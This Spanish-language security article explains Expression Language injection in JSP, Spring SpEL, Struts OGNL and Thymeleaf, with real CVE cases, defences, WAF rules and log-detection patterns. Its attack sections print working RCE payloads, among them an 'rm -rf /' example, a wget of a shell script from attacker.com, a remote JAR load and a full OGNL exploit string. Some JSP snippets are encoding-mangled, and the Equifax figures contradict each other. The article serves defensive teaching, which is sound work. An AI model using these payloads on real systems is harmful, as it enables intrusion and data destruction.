Inyección de Lenguaje de Expresión: Cuando ${} se Convierte en Tu Peor Pesadilla 💀

Introducción: El Asesino Silencioso de las Aplicaciones Web
Imagina un campo de entrada aparentemente inocente que pide tu nombre. Escribes John, envías el formulario y ves “¡Bienvenido, John!” en tu pantalla. Bastante simple, ¿verdad? Pero, ¿qué pasa si alguien ingresa ${"".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null).exec("rm -rf /")} en su lugar? En manos equivocadas, ese campo de entrada inocente se convierte en un arma capaz de comprometer todo el sistema.
La Inyección de Lenguaje de Expresión (EL Injection) es una de las vulnerabilidades más devastadoras pero subestimadas en las aplicaciones web modernas. Este vector de ataque permite a los adversarios ejecutar código arbitrario en servidores explotando cómo los motores de plantillas evalúan expresiones dinámicas. A diferencia de ataques de inyección tradicionales que requieren construir cargas útiles complejas, la inyección EL a menudo necesita solo unos pocos caracteres envueltos en ${} o #{} para lograr la Ejecución Remota de Código (RCE).
¿Qué es la Inyección de Lenguaje de Expresión?
La Inyección de Lenguaje de Expresión ocurre cuando una entrada controlada por el usuario se evalúa como una expresión por los motores de plantillas del lado del servidor sin validación o sanitización adecuada. Cuando una aplicación vulnerable a EL injection recibe código manipulado como entrada, ya sea en la cadena de consulta o en un formulario, y ese código se compila en tiempo de ejecución.
Entendiendo los Lenguajes de Expresión
Los lenguajes de expresión fueron diseñados para simplificar el desarrollo de aplicaciones proporcionando una forma fácil de acceder y manipular datos en aplicaciones web. Permiten a los desarrolladores:
- Acceder a componentes JavaBeans y sus propiedades
- Invocar métodos públicos y funciones estáticas
- Realizar operaciones aritméticas y lógicas
- Recuperar datos de varios ámbitos (solicitud, sesión, aplicación)
Los frameworks comunes que utilizan EL incluyen:
- JavaServer Pages (JSP) - Usa
${}y#{} - Spring Framework - Lenguaje de Expresión de Spring (SpEL)
- Thymeleaf - Motor de plantillas natural
- Apache Struts - Lenguaje de Navegación de Grafos de Objetos (OGNL)
- Lenguaje de Expresión Unificado de Java - Estándar para Java EE
La Anatomía de una Expresión EL
Las expresiones EL estándar siguen patrones predecibles:
${variable} # Accede a una variable
${object.property} # Accede a propiedades del objeto
${object.method()} # Invoca métodos
${"string".length()} # Operaciones con cadenas
${1 + 1} # Operaciones aritméticas
El peligro surge cuando estas expresiones procesan entradas no confiables sin validación.
La Base Técnica: Cómo Funciona la Inyección EL
La Cadena de Vulnerabilidad
La inyección EL explota una falla fundamental en cómo las aplicaciones manejan contenido dinámico:
- Recepción de Entrada del Usuario: La aplicación recibe datos a través de formularios, parámetros URL, encabezados o cookies
- Procesamiento de la Plantilla: La entrada se incorpora en una expresión EL
- Evaluación de la Expresión: El intérprete EL evalúa la expresión completa
- Ejecución del Código: El código malicioso dentro de la expresión se ejecuta en el servidor
Considera este código JSP vulnerable:
3cjsp:useBean id="data" class="com.example.DataBean" scope="request"/3e
3cjsp:setProperty name="data" property="userInput" value="${param.input}"/3e
3c/p3e
3c!-- Bienvenida --3e
3c/p3e
Welcome, ${data.userInput}!
Si un usuario envía input=${7*7}, la aplicación evalúa la expresión y devuelve 49 en lugar de la cadena literal ${7*7}. Esta confirmación de evaluación de expresión indica vulnerabilidad.
Técnicas de Detección
Para confirmar que es una inyección EL, se pueden usar cargas útiles como ${"dfd".replace("d","x")}, con una salida esperada de ‘xfx’, donde la cadena ‘dfd’ se convierte en ‘xfx’ reemplazando ’d’ por ‘x’.
Cargas útiles comunes de detección:
${7*7} # Se espera: 49
${{7*7}} # Se espera: [49]
${"test".length()} # Se espera: 4
${"a".concat("b")} # Se espera: ab
${T(java.lang.Runtime)} # Spring: referencia de clase
Los testers de caja negra deben inyectar estas cargas útiles en varios puntos de inyección:
- Parámetros URL
- Campos de formulario
- Encabezados HTTP
- Valores de cookies
- Metadatos de carga de archivos
- Campos de datos JSON/XML
Vectores de Ataque: Desde la Divulgación de Información hasta RCE
Fase 1: Recolección de Información
Los atacantes suelen comenzar extrayendo información sensible:
${applicationScope} # Variables de la aplicación
${sessionScope} # Datos de sesión
${pageContext.request.getHeader("Cookie")} # Encabezados
${pageContext.servletContext.serverInfo} # Información del servidor
Fase 2: Escalando a Ejecución Remota de Código
Lograr una explotación completa de EL Injection y obtener RCE funcional requiere invocar la clase runtime.exec() para ejecutar comandos del sistema.
Método 1: Invocación Directa de Runtime
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime')
.invoke(null)
.exec('whoami')}
Método 2: Explotación de ProcessBuilder
${request.setAttribute("c","".getClass()
.forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/c")}
${request.getAttribute("c").add("calc.exe")}
${"".getClass().forName("java.lang.ProcessBuilder")
.getConstructor(java.util.List.class)
.newInstance(request.getAttribute("c")).start()}
Método 3: ScriptEngineManager
${facesContext.getExternalContext().setResponseHeader("output",
"".getClass().forName("javax.script.ScriptEngineManager")
.newInstance().getEngineByName("JavaScript")
.eval("var x=new java.lang.ProcessBuilder;
x.command(\"wget\",\"http://attacker.com/shell.sh\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())"))}
Método 4: URLClassLoader para Código Remoto
${request.getClass().getClassLoader().loadClass("java.net.URLClassLoader")
.getConstructor(java.net.URL[].class)
.newInstance(new java.net.URL[]
{new java.net.URL("http://attacker.com/malicious.jar")})}
Vulnerabilidades Específicas de Frameworks
Lenguaje de Expresión JSP
Las páginas JSP son particularmente susceptibles cuando se usa la etiqueta 3cjsp:setProperty3e o directamente en expresiones EL en las plantillas:
3c!-- Patrón vulnerable --3e
3c:c:out value="${param.userInput}" /3e
3c!-- Ejemplo de ataque --3e
?userInput=${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null).exec("calc")}
Spring Framework y SpEL
En versiones de Spring 3.0.5 y anteriores, las etiquetas EL podían evaluarse dos veces, exponiendo la aplicación a EL injection (CVE-2011-2730).
Spring Expression Language ofrece funciones poderosas que se vuelven peligrosas con entradas no confiables:
// Controlador vulnerable en Spring
@RequestMapping("/welcome")
public String welcome(@RequestParam String name, Model model) {
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression(name); // VULNERABLE
model.addAttribute("greeting", exp.getValue());
return "welcome";
}
// Ataque: ?name=T(java.lang.Runtime).getRuntime().exec('whoami')
Apache Struts y OGNL
La brecha de Equifax, que afectó a 159 millones de personas, fue causada por una inyección de OGNL en EL, con Equifax acordando pagar hasta $425 millones para ayudar a los consumidores a recuperarse.
La inyección OGNL en Struts permite explotaciones similares:
%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)
.(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container'])
.(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))
.(#ognlUtil.getExcludedPackageNames().clear())
.(#ognlUtil.getExcludedClasses().clear())
.(#context.setMemberAccess(#dm))))
.(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))
.(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))
.(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true))
.(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}
Motor de Plantillas Thymeleaf
Thymeleaf usa expresiones en atributos y puede ser explotado cuando las plantillas procesan entradas del usuario:
3c!-- Plantilla vulnerable --3e
3cdiv th:text="${userInput}"3e3c/div3e
3c!-- Ataque --3e
${T(java.lang.Runtime).getRuntime().exec('calc')}
Estudios de Casos Reales
CVE-2024-51466: IBM Cognos Analytics
Un investigador descubrió un endpoint en la aplicación IBM Cognos que acepta entrada del usuario y la pasa a una expresión EL causando RCE, encadenado con otra vulnerabilidad para evitar la autenticación, resultando en una RCE no autenticada.
La vulnerabilidad fue explotada usando la carga útil:
${''.getClass().forName('java.lang.Runtime')
.getMethod('getRuntime').invoke(null).exec('command')}
La respuesta devolvió java.lang.ProcessImpl@b639b23d, confirmando la creación del proceso y la ejecución exitosa del código.
CVE-2024-12798: Vulnerabilidad en Logback Core
Una vulnerabilidad ACE en QOS.CH logback-core hasta la versión 1.5.12 permite a los atacantes ejecutar código arbitrario usando la extensión JaninoEventEvaluator, comprometiendo un archivo de configuración de logback existente o inyectando una variable de entorno maliciosa antes de la ejecución del programa.
La Brecha de Equifax (2017)
El ataque EL más famoso explotó la vulnerabilidad CVE-2017-5638 en Apache Struts, una vulnerabilidad de inyección OGNL. Los atacantes accedieron a:
- Información personal de 147 millones de estadounidenses
- Registros de 15.2 millones de ciudadanos británicos
- Datos de 19,000 ciudadanos canadienses
El vector de ataque fue sorprendentemente simple: un encabezado Content-Type malicioso que contenía expresiones OGNL que ejecutaban comandos en el servidor.
Estrategias de Defensa: Construyendo Aplicaciones Resilientes
Validación y Sanitización de Entrada
Evita poner datos del usuario en un intérprete de expresiones si es posible. De lo contrario, valida y/o codifica los datos para asegurar que no se evalúen como lenguaje de expresiones.
Implementa Validación Estricta:
public boolean isValidInput(String input) {
// Rechaza delimitadores EL
Pattern pattern = Pattern.compile(".*[\\$\\#\\{\\}].*");
Matcher matcher = pattern.matcher(input);
if (matcher.matches()) {
throw new SecurityException("Se detectó posible inyección EL");
}
// Enfoque de lista blanca - solo permite alfanuméricos
return input.matches("[a-zA-Z0-9]+");
}
Desactivar Evaluación de Expresiones
Para Spring Framework:
En el caso de Spring, desactiva la funcionalidad de resolución doble en versiones 3.0.6 y superiores colocando configuración en el web.xml de la aplicación:
<context-param>
<description>Soporte de Lenguaje de Expresión de Spring</description>
<param-name>springJspExpressionSupport</param-name>
<param-value>false</param-value>
</context-param>
Políticas de Seguridad de Contenido
Implementa codificación robusta de salida:
public String escapeEL(String input) {
return input
.replace("$", "\\$")
.replace("{", "\\{")
.replace("}", "\\}")
.replace("#", "\\#");
}
Protecciones Específicas de Frameworks
JSP:
- Usa etiquetas JSTL con escapeXml="true"
- Evita evaluación EL directa en etiquetas personalizadas
- Implementa encabezados de Políticas de Seguridad de Contenido
Spring:
- Mantén actualizado Spring Framework (parches críticos en 5.2.20+ y 5.3.18+)
- Usa @PreAuthorize para seguridad a nivel de método
- Evita analizar entradas del usuario como expresiones SpEL
Thymeleaf:
- Usa expresiones preprocesadas __${...}__ con precaución
- Habilita modo estricto en la configuración
- Valida todas las entradas del usuario antes del procesamiento de plantillas
Protección en Tiempo de Ejecución (RASP)
Las soluciones modernas de RASP pueden detectar y bloquear intentos de EL injection mediante:
- Monitoreo de patrones de evaluación de expresiones
- Análisis del comportamiento en tiempo de ejecución para detectar anomalías
- Bloqueo de invocaciones peligrosas de métodos (Runtime.exec, ProcessBuilder)
- Implementación de parches virtuales para vulnerabilidades zero-day
Pruebas de Seguridad
Pruebas de caja blanca: - Revisión de código centrada en uso de EL - Herramientas de Análisis de Seguridad Estática (SAST) - Escaneo de vulnerabilidades en dependencias
Pruebas de caja negra: - Fuzzing con cargas útiles EL - Pruebas de Seguridad Dinámica de Aplicaciones (DAST) - Penetration testing con cargas útiles personalizadas
Detección y Monitoreo
Análisis de Logs
Monitorea patrones sospechosos:
${.*}
#{.*}
T(java.lang.Runtime)
getClass().forName
ProcessBuilder
ScriptEngineManager
URLClassLoader
Firewalls de Aplicaciones Web (WAF)
Configura reglas WAF para detectar:
# Ejemplo ModSecurity
SecRule ARGS "@rx \$\{.*\}" \
"id:100001,\
phase:2,\
deny,\
log,\
msg:'Posible ataque de EL Injection'"
Detección en Tiempo de Ejecución
Implementa hooks en tiempo de ejecución para monitorear:
- Llamadas a API de reflexión desde contextos de usuario
- Intentos de creación de procesos
- Carga de clases desde fuentes no confiables
- Conexiones de red desde la evaluación de plantillas
El Futuro de la Inyección EL
Amenazas Emergentes
A medida que los frameworks evolucionan, surgen nuevos vectores de ataque:
- Carga útil poliglota: combinando múltiples tipos de inyección
- Ataques codificados: payloads en Base64, Unicode y hex
- Explotación ciega basada en tiempo: detectando vulnerabilidades mediante ataques de temporización
- Cadena de explotación: combinando EL injection con otras vulnerabilidades
Mejores Prácticas de Seguridad
- Principio de menor privilegio: ejecutar aplicaciones con permisos mínimos
- Defensa en profundidad: implementar múltiples capas de seguridad
- Actualizaciones regulares: mantener frameworks y dependencias actualizadas
- Capacitación en seguridad: educar a los desarrolladores sobre riesgos de inyección
- Estándares de codificación segura: establecer y hacer cumplir directrices de codificación
Estadísticas e Impacto
El promedio de aplicaciones/API recibió 4,110 sondas en octubre de 2024, con ataques EL viables promediando unas 2.5 sondas y 1.4 ataques viables por mes.
Aunque estos números parecen bajos, la gravedad es extrema. Cada inyección EL exitosa puede resultar en:
- Compromiso completo del servidor
- Brecha de datos que afecta a millones
- Pérdidas financieras en cientos de millones
- Penalizaciones regulatorias y consecuencias legales
- Daño irreparable a la reputación
Conclusión: La Vigilancia es Obligatoria
La Inyección de Lenguaje de Expresión representa una de las vulnerabilidades más críticas en las aplicaciones web modernas. La apariencia inocua de los delimitadores ${} oculta su potencial para causar daños catastróficos. Desde la brecha de Equifax hasta CVEs recientes como IBM Cognos, la EL injection sigue acechando a las organizaciones en todo el mundo.
¿La buena noticia? La inyección EL es completamente prevenible mediante:
- Validación rigurosa de entradas
- Codificación adecuada de salidas
- Configuraciones de seguridad en frameworks
- Pruebas de seguridad regulares
- Educación de desarrolladores
Recuerda: cada campo de entrada es un posible vector de ataque. Cada expresión en plantilla que procesa datos del usuario es un riesgo. Cada aplicación que usa lenguajes de expresión requiere una consideración cuidadosa de seguridad.
La pesadilla no es que exista EL injection, sino que los desarrolladores sigan ignorándolo. No dejes que ${} se convierta en tu peor pesadilla. Trata la entrada del usuario como hostil, valida con rigor y construye seguridad en cada capa de tu aplicación.
Claves para Recordar
- Nunca confíes en la entrada del usuario - Todos los datos externos son potencialmente maliciosos
- Evita evaluar la entrada del usuario como expresiones - Usa plantillas estáticas siempre que sea posible
- Implementa defensa en profundidad - Aplica múltiples controles de seguridad
- Mantente actualizado - Aplica parches de seguridad con prontitud
- Prueba continuamente - Las evaluaciones de seguridad regulares son esenciales
- Monitorea activamente - Detecta ataques antes de que causen daño
- Educa a los equipos - La seguridad es responsabilidad de todos
La Inyección de Lenguaje de Expresión no es solo una vulnerabilidad técnica, sino una crisis de seguridad crítica que espera suceder. La pregunta no es si tu aplicación será probada por atacantes, sino cuándo. Asegúrate de estar preparado.
Sobre el Autor: Este artículo cubre vulnerabilidades de Inyección de Lenguaje de Expresión basadas en investigaciones de seguridad actuales y divulgaciones recientes de CVE hasta 2025. Para las últimas actualizaciones de seguridad, consulta siempre la documentación oficial de los frameworks y los avisos de seguridad.
Referencias: OWASP, bases de datos CVE, artículos de investigación en seguridad y reportes de divulgación de vulnerabilidades de 2024-2025.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.